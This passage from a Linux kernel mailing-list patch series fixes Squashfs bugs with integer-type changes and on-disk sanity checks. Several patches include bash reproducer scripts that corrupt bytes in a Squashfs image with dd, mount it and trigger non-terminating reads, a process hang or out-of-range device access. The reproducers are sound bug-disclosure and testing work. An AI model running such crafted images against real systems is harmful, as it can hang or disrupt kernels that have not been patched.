*next_offset = (length + *next_offset) % SQUASHFS_METADATA_SIZE;
@@ -99,13 +104,16 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)
{
struct inode *inode = file_inode(file);
struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
- u64 block = squashfs_i(inode)->start + msblk->directory_table;
+ s64 block = squashfs_dir_start(squashfs_i(inode)->start, msblk);
int offset = squashfs_i(inode)->offset, length, err;
unsigned int inode_number, dir_count, size, type;
struct squashfs_dir_header dirh;
- struct squashfs_dir_entry *dire;
+ struct squashfs_dir_entry *dire = NULL;
+
+ TRACE("Entered squashfs_readdir [%llx:%x]\n", squashfs_i(inode)->start, offset);
- TRACE("Entered squashfs_readdir [%llx:%x]\n", block, offset);
+ if (block < 0)
+ goto failed_read;
dire = kmalloc(sizeof(*dire) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL);
if (dire == NULL) {
@@ -211,7 +219,7 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)
return 0;
failed_read:
- ERROR("Unable to read directory block [%llx:%x]\n", block, offset);
+ ERROR("Unable to read directory block [%llx:%x]\n", squashfs_i(inode)->start, offset);
kfree(dire);
return 0;
}
diff --git a/fs/squashfs/namei.c b/fs/squashfs/namei.c
index 2260a3f05fde..32d31d4d1473 100644
--- a/fs/squashfs/namei.c
+++ b/fs/squashfs/namei.c
@@ -66,6 +66,7 @@ static int get_dir_index_using_name(struct super_block *sb,
int index_offset, int i_count, const char *name)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
+ s64 res;
int i, length = 0, err;
unsigned int size;
struct squashfs_dir_index *index;
@@ -99,9 +100,12 @@ static int get_dir_index_using_name(struct super_block *sb,
if (strcmp(index->name, name) > 0)
break;
+ res = squashfs_dir_start(le32_to_cpu(index->start_block), msblk);
+ if (res < 0)
+ break;
+
length = le32_to_cpu(index->index);
- *next_block = le32_to_cpu(index->start_block) +
- msblk->directory_table;
+ *next_block = res;
}
*next_offset = (length + *next_offset) % SQUASHFS_METADATA_SIZE;
@@ -127,12 +131,15 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry,
struct squashfs_sb_info *msblk = dir->i_sb->s_fs_info;
struct squashfs_dir_header dirh;
struct squashfs_dir_entry *dire;
- u64 block = squashfs_i(dir)->start + msblk->directory_table;
+ u64 block = squashfs_dir_start(squashfs_i(dir)->start, msblk);
int offset = squashfs_i(dir)->offset;
int err, length;
unsigned int dir_count, size;
- TRACE("Entered squashfs_lookup [%llx:%x]\n", block, offset);
+ TRACE("Entered squashfs_lookup [%llx:%x]\n", squashfs_i(dir)->start, offset);
+
+ if (block < 0)
+ goto data_error;
dire = kmalloc(sizeof(*dire) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL);
if (dire == NULL) {
@@ -219,8 +226,7 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry,
read_failure:
ERROR("Unable to read directory block [%llx:%x]\n",
- squashfs_i(dir)->start + msblk->directory_table,
- squashfs_i(dir)->offset);
+ squashfs_i(dir)->start, squashfs_i(dir)->offset);
failed:
kfree(dire);
return ERR_PTR(err);
diff --git a/fs/squashfs/squashfs_fs_sb.h b/fs/squashfs/squashfs_fs_sb.h
index b87221ea9bdd..949dab87a241 100644
--- a/fs/squashfs/squashfs_fs_sb.h
+++ b/fs/squashfs/squashfs_fs_sb.h
@@ -67,6 +67,7 @@ struct squashfs_sb_info {
__le64 *inode_lookup_table;
u64 inode_table;
u64 directory_table;
+ u64 directory_table_end;
u64 xattr_table;
unsigned int block_size;
unsigned short block_log;
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index 662ebf464d3c..124ee18ed8c9 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -70,6 +70,22 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset)
return ((s64)start << 16) | offset;
}
+/* directory helper functions */
+static inline s64 squashfs_dir_start(u32 blk, struct squashfs_sb_info *msblk)
+{
+ s64 start;
+
+ if (S64_MAX - msblk->directory_table < blk)
+ return -EINVAL;
+
+ start = msblk->directory_table + blk;
+
+ if (start >= msblk->directory_table_end)
+ return -EINVAL;
+
+ return start;
+}
+
/* fragment and fragment table defines */
static inline s64 squashfs_fragment_bytes(u32 fragments)
{
diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c
index 0e511dd29d58..8c42f1eb375b 100644
--- a/fs/squashfs/super.c
+++ b/fs/squashfs/super.c
@@ -437,6 +437,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
err = -EINVAL;
goto insanity;
}
+ msblk->directory_table_end = next_table;
/* Sanity check inode_table */
if (msblk->inode_table >= msblk->directory_table) {
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 11/18] Squashfs: widen xattr count variables and add sanity check
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (9 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 10/18] Squashfs: sanity check directory " Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 12/18] Squashfs: very large files can exceed an int block count Phillip Lougher
` (6 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
The maximum number of Xattrs in an inode is 2^32-1 in Squashfs. However
the code incorrectly treats the count as signed, or 2^31-1.
This means any value above 2^31-1 becomes a negative number, and it
means loops will not terminate due to the negative comparison. This
means the code will continue reading the filesystem until either the
data is incorrect, or the end of the filesystem is reached.
The code also lacks a check that the count is too large, which will
again mean that the code will continue reading the filesystem.
Finally, the code also lacks a check for a zero count, this means
anything reading xattrs from the inode will successfully read no xattrs,
even though this should have returned error due to corruption.
This commit changes the variables to be unsigned, and so negative values
do not occur, and it first adds a sanity check for a zero xattr count,
and second checks that the count isn't larger than the xattr size.
Reproducer
==========
This reproducer allows both zero, negative and large xattr count to be
reproduced. In the case of a negative or large count, the exploit
succeeds if dmesg shows the code failed to read a metadata block, due to
the loop not terminating. In the case of a zero count, the exploit
succeeds if gerfattr successfully returns with no xattrs.
====================================================================
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
if [ $# -lt 1 ]; then
echo This needs a parameter
echo $0 N/0/L
echo N reproduce negative xattr count
echo 0 reproduce 0 xattr count
echo L reproduce a large count
exit 1
fi
if [ $1 = "N" ]; then
echo Reproducing negative xattr count
elif [ $1 = "0" ]; then
echo Reproducing 0 xattr count
elif [ $1 = "L" ]; then
echo Reproducing large xattr count
else
echo Input not N, 0 or L
exit 1
fi
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create a Squashfs pseudo file which is fed to Mksquashfs
echo "/ d 0777 0 0" > pseudo
echo "example f 0777 0 0 echo example data" >> pseudo
echo "example x user.comment=example xattr" >> pseudo
echo Generate the Squashfs filesystem
mksquashfs - img.sqsh -pf pseudo -quiet -no-progress -noX
low=$(dd if=img.sqsh bs=1 skip=56 count=1 status=none | od -An -v -tu1 | tr -d '\n')
hi=$(dd if=img.sqsh bs=1 skip=57 count=1 status=none | od -An -v -tu1 | tr -d '\n')
start=$(( $hi * 256 + $low ))
(( start -= 8 ))
if [ $1 = "N" ]; then
# Write -1 to the count field
echo Writing -1 to the count field
echo -ne "\xff\xff\xff\xff" > file
elif [ $1 = "0" ]; then
# Write 0 to the count field
echo Writing 0 to the count field
echo -ne "\x00\x00\x00\x00" > file
else
# Write 255 to the count field
echo Writing 255 to the count field
echo -ne "\xff\x00\x00\x00" > file
fi
dd if=file of=img.sqsh bs=1 seek=$start count=4 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
if [ $1 = "0" ]; then
if ! getfattr /mnt/example > output; then
echo Exploit failed, getfattr returned error
elif [ ! -s output ]; then
echo Exploit succeeded, getfattr returned success with no xattrs
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
else
if ! getfattr /mnt/example; then
echo Getfattr failed, this is expected.
echo If dmesg shows the following, then the exploit succeeded
echo SQUASHFS error: Failed to read block 0x124: -5
echo SQUASHFS error: Unable to read metadata cache entry [122]
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
fi
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
Fixes: f41d207cbedec ("squashfs: add support for xattr reading")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/inode.c | 2 +-
fs/squashfs/squashfs_fs_i.h | 2 +-
fs/squashfs/xattr.c | 27 ++++++++++++++++++++-------
fs/squashfs/xattr.h | 6 +++---
fs/squashfs/xattr_id.c | 3 ++-
5 files changed, 27 insertions(+), 13 deletions(-)
diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c
index 03e88c5b545a..de53530adc06 100644
--- a/fs/squashfs/inode.c
+++ b/fs/squashfs/inode.c
@@ -445,7 +445,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)
inode->i_blocks += ((squashfs_i(inode)->xattr_size - 1) >> 9)
+ 1;
} else
- squashfs_i(inode)->xattr_count = 0;
+ squashfs_i(inode)->xattr = SQUASHFS_INVALID_BLK;
return 0;
diff --git a/fs/squashfs/squashfs_fs_i.h b/fs/squashfs/squashfs_fs_i.h
index 8e497ac07b9a..90c3b085ac0e 100644
--- a/fs/squashfs/squashfs_fs_i.h
+++ b/fs/squashfs/squashfs_fs_i.h
@@ -15,7 +15,7 @@ struct squashfs_inode_info {
int offset;
u64 xattr;
unsigned int xattr_size;
- int xattr_count;
+ unsigned int xattr_count;
int parent;
union {
struct {
diff --git a/fs/squashfs/xattr.c b/fs/squashfs/xattr.c
index f9ef669544f8..d7247648ac35 100644
--- a/fs/squashfs/xattr.c
+++ b/fs/squashfs/xattr.c
@@ -33,13 +33,16 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,
u64 start = squashfs_xattr_blk(squashfs_i(inode)->xattr)
+ msblk->xattr_table;
int offset = squashfs_xattr_offset(squashfs_i(inode)->xattr);
- int count = squashfs_i(inode)->xattr_count;
+ unsigned int count = squashfs_i(inode)->xattr_count;
size_t rest = buffer_size;
int err;
- /* check that the file system has xattrs */
- if (msblk->xattr_id_table == NULL)
- return -EOPNOTSUPP;
+ /* check that the file has xattrs */
+ if (squashfs_i(inode)->xattr == SQUASHFS_INVALID_BLK)
+ return 0;
+
+ if (count == 0 || count > squashfs_i(inode)->xattr_size)
+ return -EIO;
/* loop reading each xattr name */
while (count--) {
@@ -111,12 +114,21 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,
u64 start = squashfs_xattr_blk(squashfs_i(inode)->xattr)
+ msblk->xattr_table;
int offset = squashfs_xattr_offset(squashfs_i(inode)->xattr);
- int count = squashfs_i(inode)->xattr_count;
+ unsigned int count = squashfs_i(inode)->xattr_count;
int name_len = strlen(name);
int err, vsize;
- char *target = kmalloc(name_len, GFP_KERNEL);
+ char *target;
+
+ /* check that the file has xattrs */
+ if (squashfs_i(inode)->xattr == SQUASHFS_INVALID_BLK)
+ return -ENODATA;
+
+ if (count == 0 || count > squashfs_i(inode)->xattr_size)
+ return -EIO;
+
+ target = kmalloc(name_len, GFP_KERNEL);
if (target == NULL)
- return -ENOMEM;
+ return -ENOMEM;
/* loop reading each xattr name */
for (; count; count--) {
@@ -169,6 +181,7 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,
goto failed;
vsize = le32_to_cpu(val.vsize);
+
if (buffer) {
if (vsize > buffer_size) {
err = -ERANGE;
diff --git a/fs/squashfs/xattr.h b/fs/squashfs/xattr.h
index f1a463d8bfa0..b33e9ad4057f 100644
--- a/fs/squashfs/xattr.h
+++ b/fs/squashfs/xattr.h
@@ -11,8 +11,8 @@
#ifdef CONFIG_SQUASHFS_XATTR
extern __le64 *squashfs_read_xattr_id_table(struct super_block *, u64,
u64 *, unsigned int *);
-extern int squashfs_xattr_lookup(struct super_block *, unsigned int, int *,
- unsigned int *, unsigned long long *);
+extern int squashfs_xattr_lookup(struct super_block *, unsigned int,
+ unsigned int *, unsigned int *, unsigned long long *);
#else
static inline __le64 *squashfs_read_xattr_id_table(struct super_block *sb,
u64 start, u64 *xattr_table_start, unsigned int *xattr_ids)
@@ -31,7 +31,7 @@ static inline __le64 *squashfs_read_xattr_id_table(struct super_block *sb,
}
static inline int squashfs_xattr_lookup(struct super_block *sb,
- unsigned int index, int *count, unsigned int *size,
+ unsigned int index, unsigned int *count, unsigned int *size,
unsigned long long *xattr)
{
return 0;
diff --git a/fs/squashfs/xattr_id.c b/fs/squashfs/xattr_id.c
index ff85247e2d80..621777e0a3b4 100644
--- a/fs/squashfs/xattr_id.c
+++ b/fs/squashfs/xattr_id.c
@@ -27,7 +27,8 @@
* Map xattr id using the xattr id look up table
*/
int squashfs_xattr_lookup(struct super_block *sb, unsigned int index,
- int *count, unsigned int *size, unsigned long long *xattr)
+ unsigned int *count, unsigned int *size,
+ unsigned long long *xattr)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
int block = squashfs_xattr_block(index);
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 12/18] Squashfs: very large files can exceed an int block count
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (10 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 11/18] Squashfs: widen xattr count variables and add sanity check Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 13/18] Squashfs: add more sanity checking to squashfs_block_size() Phillip Lougher
` (5 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
Squashfs in many places uses a signed int to store the block number and
block count of a file. If the block size is using the Linux page size
(normally 4 KiB), it means any file larger than 8 TiB (2^43) will
overflow a signed int.
If the block number and block count is in terms of the Squashfs
filesystem block size (which can be between 4 kiB and 1 MiB), it
depends on the block size as to when a signed int will overflow, but a
file larger than 256 TiB (2^48) using 128 KiB blocks will overflow a
signed int.
This commit widens all appropriate variables to long long (s64) to
avoid overflow.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a 8 TiB +
4096 byte sparse file. The filestem is mounted, and the last 4096
bytes are read from the file. If the reproducer is successful the
process will hang. This is because signed int overflow occurs in
squashfs_copy_cache() with the result that folio_end_read() is
not called.
====================================================================
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create an 8 Tib (2^43) + 4096 byte sparse file"
if ! truncate --size 8796093026304 bigfile; then
echo Create of sparse file failed.
finish
fi
echo Generate the Squashfs filesystem containing the sparse file
echo This will be VERY slow on Squashfs-tools older than 4.7.3
mksquashfs bigfile bigfile.sqsh -b 1M -quiet
echo Mount the filesystem to /mnt
if ! mount -t squashfs bigfile.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the last 4096 bytes from the sparse file.
echo If the exploit succeeds the process will hang
dd if=/mnt/bigfile bs=1 skip=8796093022208
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
Fixes: 1701aecb6849c ("Squashfs: regular file operations")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/file.c | 27 ++++++++++++++-------------
1 file changed, 14 insertions(+), 13 deletions(-)
diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c
index ad6382cd22d3..05ae61dd6be2 100644
--- a/fs/squashfs/file.c
+++ b/fs/squashfs/file.c
@@ -35,6 +35,7 @@
#include <linux/string.h>
#include <linux/pagemap.h>
#include <linux/mutex.h>
+#include <linux/math64.h>
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
@@ -216,7 +217,7 @@ static long long read_indexes(struct super_block *sb, int n,
*/
static inline int calculate_skip(u64 blocks)
{
- u64 skip = blocks / ((SQUASHFS_META_ENTRIES + 1)
+ u64 skip = div_u64(blocks, (SQUASHFS_META_ENTRIES + 1)
* SQUASHFS_META_INDEXES);
return min((u64) SQUASHFS_CACHED_BLKS - 1, skip + 1);
}
@@ -227,7 +228,7 @@ static inline int calculate_skip(u64 blocks)
* on-disk locations of the datablock and block list metadata block
* <index_block, index_offset> for index (scaled to nearest cache index).
*/
-static int fill_meta_index(struct inode *inode, int index,
+static s64 fill_meta_index(struct inode *inode, s64 index,
u64 *index_block, int *index_offset, u64 *data_block)
{
struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
@@ -243,7 +244,7 @@ static int fill_meta_index(struct inode *inode, int index,
/*
* Scale index to cache index (cache slot entry)
*/
- index /= SQUASHFS_META_INDEXES * skip;
+ index = div_u64(index, SQUASHFS_META_INDEXES * skip);
while (offset < index) {
meta = locate_meta_index(inode, offset + 1, index);
@@ -327,14 +328,14 @@ static int fill_meta_index(struct inode *inode, int index,
* Get the on-disk location and compressed size of the datablock
* specified by index. Fill_meta_index() does most of the work.
*/
-static int read_blocklist_ptrs(struct inode *inode, int index, u64 *start,
+static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start,
int *offset, u64 *block)
{
long long blks;
__le32 size;
- int res = fill_meta_index(inode, index, start, offset, block);
+ s64 res = fill_meta_index(inode, index, start, offset, block);
- TRACE("read_blocklist: res %d, index %d, start 0x%llx, offset 0x%x, block 0x%llx\n",
+ TRACE("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n",
res, index, *start, *offset, block ? *block : 0);
if (res < 0)
@@ -364,7 +365,7 @@ static int read_blocklist_ptrs(struct inode *inode, int index, u64 *start,
return squashfs_block_size(size);
}
-static inline int read_blocklist(struct inode *inode, int index, u64 *block)
+static inline int read_blocklist(struct inode *inode, s64 index, u64 *block)
{
u64 start;
int offset;
@@ -397,8 +398,8 @@ void squashfs_copy_cache(struct folio *folio,
struct address_space *mapping = folio->mapping;
struct inode *inode = mapping->host;
struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
- int i, mask = (1 << (msblk->block_log - PAGE_SHIFT)) - 1;
- int start_index = folio->index & ~mask, end_index = start_index | mask;
+ s64 i, mask = (1 << (msblk->block_log - PAGE_SHIFT)) - 1;
+ s64 start_index = folio->index & ~mask, end_index = start_index | mask;
/*
* Loop copying datablock into pages. As the datablock likely covers
@@ -412,7 +413,7 @@ void squashfs_copy_cache(struct folio *folio,
size_t avail = buffer ? min(bytes, PAGE_SIZE) : 0;
bool updated = false;
- TRACE("bytes %zu, i %d, available_bytes %zu\n", bytes, i, avail);
+ TRACE("bytes %zu, i %lld, available_bytes %zu\n", bytes, i, avail);
push_folio = (i == folio->index) ? folio :
__filemap_get_folio(mapping, i,
@@ -464,8 +465,8 @@ static int squashfs_read_folio(struct file *file, struct folio *folio)
{
struct inode *inode = folio->mapping->host;
struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
- int index = folio->index >> (msblk->block_log - PAGE_SHIFT);
- int file_end = i_size_read(inode) >> msblk->block_log;
+ s64 index = folio->index >> (msblk->block_log - PAGE_SHIFT);
+ s64 file_end = i_size_read(inode) >> msblk->block_log;
int expected = index == file_end ?
(i_size_read(inode) & (msblk->block_size - 1)) :
msblk->block_size;
@@ -584,7 +585,7 @@ static void squashfs_readahead(struct readahead_control *ractl)
unsigned int nr_pages = 0;
struct page **pages;
int i;
- loff_t file_end = i_size_read(inode) >> msblk->block_log;
+ s64 file_end = i_size_read(inode) >> msblk->block_log;
unsigned int max_pages = 1UL << shift;
readahead_expand(ractl, start, (len | mask) + 1);
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 13/18] Squashfs: add more sanity checking to squashfs_block_size()
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (11 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 12/18] Squashfs: very large files can exceed an int block count Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 14/18] Squashfs: sanity check fragment block location and range Phillip Lougher
` (4 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
Squashfs_block_size() sanity checks the data and fragment block size
read from disk. However, it doesn't do all the sanity checking that
it could do. This means detectably invalid block sizes are passed
down to squashfs_read_data().
This situation is sub-optimal because in the case of fragment
blocks, a fragment cache buffer has to obtained (with possible
waits for a free buffer etc.) before squashfs_read_data() is called.
In both fragment and data block cases if the buffer is compressed, it
means a free decompressor may be obtained (with possible waits for a
decompressor) by squashfs_read_data(), only to have the decompression
fail.
In both these cases this adds unnecessary overhead which may impact
performance, and this is with values that should have been detected
earlier.
This commit adds extra sanity checking to trap additional incorrect
values.
Reproducer
==========
The reproducer generates a Squashfs filesystem and then corrupts the
block size value for file zero block 0. If the exploit succeeds this
corrupted value is not detected, and it is passed to the decompressor
via squashfs_read_data() which then fails at that point.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -no-fragments -noI -noD -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=128 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo Corrupt the data block size for block 0 in file zero
echo Flip the compression bit from uncompressed to compressed.
echo "This is at byte offset 131207 (96 + 128 KiB + 37)"
dd if=/dev/zero of=img.sqsh seek=131205 bs=1 count=1 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "SQUASHFS error: zlib decompression failed, data probably corrupt"
echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: zlib decompression failed, data probably corrupt"
echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: Unable to read data cache entry [60]"
echo "SQUASHFS error: Unable to read page, block 60, size 20000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
==============================================================================
Fixes: 1701aecb6849c ("Squashfs: regular file operations")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/file.c | 8 +++++---
fs/squashfs/fragment.c | 2 +-
fs/squashfs/squashfs_fs.h | 6 ------
fs/squashfs/squashfs_helpers.h | 32 ++++++++++++++++++++++++++++++++
4 files changed, 38 insertions(+), 10 deletions(-)
diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c
index 05ae61dd6be2..d3be147e1ea3 100644
--- a/fs/squashfs/file.c
+++ b/fs/squashfs/file.c
@@ -166,6 +166,7 @@ static long long read_indexes(struct super_block *sb, int n,
{
int err, i;
long long block = 0;
+ struct squashfs_sb_info *msblk = sb->s_fs_info;
__le32 *blist = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (blist == NULL) {
@@ -185,7 +186,7 @@ static long long read_indexes(struct super_block *sb, int n,
}
for (i = 0; i < blocks; i++) {
- int size = squashfs_block_size(blist[i]);
+ int size = squashfs_data_size(blist[i], msblk->block_size);
if (size < 0) {
err = size;
goto failure;
@@ -333,6 +334,7 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start,
{
long long blks;
__le32 size;
+ struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
s64 res = fill_meta_index(inode, index, start, offset, block);
TRACE("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n",
@@ -362,7 +364,7 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start,
sizeof(size));
if (res < 0)
return res;
- return squashfs_block_size(size);
+ return squashfs_data_size(size, msblk->block_size);
}
static inline int read_blocklist(struct inode *inode, s64 index, u64 *block)
@@ -720,7 +722,7 @@ static loff_t seek_hole_data(struct file *file, loff_t offset, int whence)
goto finished;
for (i = 0; i < indexes; i++) {
- length = squashfs_block_size(blist[i]);
+ length = squashfs_data_size(blist[i], msblk->block_size);
if (length < 0) {
offset = length;
goto finished;
diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c
index 9f63e5b5c513..1f372374c29d 100644
--- a/fs/squashfs/fragment.c
+++ b/fs/squashfs/fragment.c
@@ -54,7 +54,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
return size;
*fragment_block = le64_to_cpu(fragment_entry.start_block);
- return squashfs_block_size(fragment_entry.size);
+ return squashfs_frag_size(fragment_entry.size, msblk->block_size);
}
diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h
index 3e7d0730b2d9..6ca8d7227a0e 100644
--- a/fs/squashfs/squashfs_fs.h
+++ b/fs/squashfs/squashfs_fs.h
@@ -101,12 +101,6 @@
#define SQUASHFS_XATTR_VALUE_OOL 256
#define SQUASHFS_XATTR_PREFIX_MASK 0xff
-static inline int squashfs_block_size(__le32 raw)
-{
- u32 size = le32_to_cpu(raw);
- return (size >> 25) ? -EIO : size;
-}
-
/* cached data constants for filesystem */
#define SQUASHFS_CACHED_BLKS 8
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index 124ee18ed8c9..9b3466d26cd1 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -203,4 +203,36 @@ static inline s16 squashfs_xattr_offset(s64 xattr)
{
return xattr & 0xffff;
}
+
+static inline int squashfs_block_size(u32 size, s32 block_size)
+{
+ /* reject any size with bits set where they should not be */
+ if ((size & ~SQUASHFS_COMPRESSED_BIT_BLOCK) > block_size)
+ return -EIO;
+
+ /* a block can't be both full size and compressed */
+ if (size == block_size)
+ return -EIO;
+
+ return size;
+}
+
+static inline int squashfs_data_size(__le32 raw, s32 block_size)
+{
+ return squashfs_block_size(le32_to_cpu(raw), block_size);
+}
+
+static inline int squashfs_frag_size(__le32 raw, s32 block_size)
+{
+ int size = squashfs_block_size(le32_to_cpu(raw), block_size);
+
+ if (size < 0)
+ return size;
+
+ /* a fragment block can't be zero size, compressed or uncompressed */
+ if ((size & ~SQUASHFS_COMPRESSED_BIT_BLOCK) == 0)
+ return -EIO;
+
+ return size;
+}
#endif
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 14/18] Squashfs: sanity check fragment block location and range
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (12 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 13/18] Squashfs: add more sanity checking to squashfs_block_size() Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 15/18] Squashfs: sanity check block list sizes " Phillip Lougher
` (3 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
When reading fragment blocks from disk the location and range of the
fragment block is not sanity checked before it is passed down to
squashfs_read_data().
In squashfs_read_data() the block location and range are sanity checked
to the extent that the location plus block length does not go beyond the
end of the filesystem. But, a block location can be crafted to be close
to 2^64, and so the addition of the location and the length can cause
arthimetic overflow, and thereby evade the sanity check.
This evasion, however, will be caught when the code after the sanity
check tries to read the block from the filesystem. This is because
it is the block location that is passed to the I/O read, and not
the result of the overflowed sanity check. This will return error
because it will be beyond the end of the device.
The real issue here is that leaving the sanity checking of the fragment
block location and range to squashfs_read_data() is sub-optimal. This
is because a fragment cache buffer has to be obtained (with possible
waits fop a free buffer, and then the eviction of the original cached
contents) before squashfs_read_data() is called.
This adds unnecessary overhead and contention, which could be exploited
to reduce performance, and this is for incorrect values that should have
been detected earlier.
This commit adds extra sanity checking to ensure the fragment block
location and range are within bounds before a free fragment block is
obtained.
Reproducer
==========
The reproducer generates a Squashfs filesytem with a fragment block, and
then corrupts the location of the fragment block to 2^64 - 32 KiB. If
the exploit succeeds this corrupted value is paased to
squaashfs_read_data() and it is not detected until the I/O read fails.
=====================================================================
ARGS="-quiet -no-progress -noI -noD -noF -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=32 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the location of fragment block 0"
echo "Alter it to the value 0xFFFFFFFFFFFF8000 (2^64 - 32 KiB)"
echo "The block location is stored at byte offset 32958"
/usr/bin/echo -en "\x00\x80\xff\xff\xff\xff\xff\xff" > file
dd if=file of=img.sqsh seek=32958 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "dd: attempt to access beyond end of device"
echo " loop20: rw=2048, sector=36028797018963904, nr_sectors = 64 limit=72"
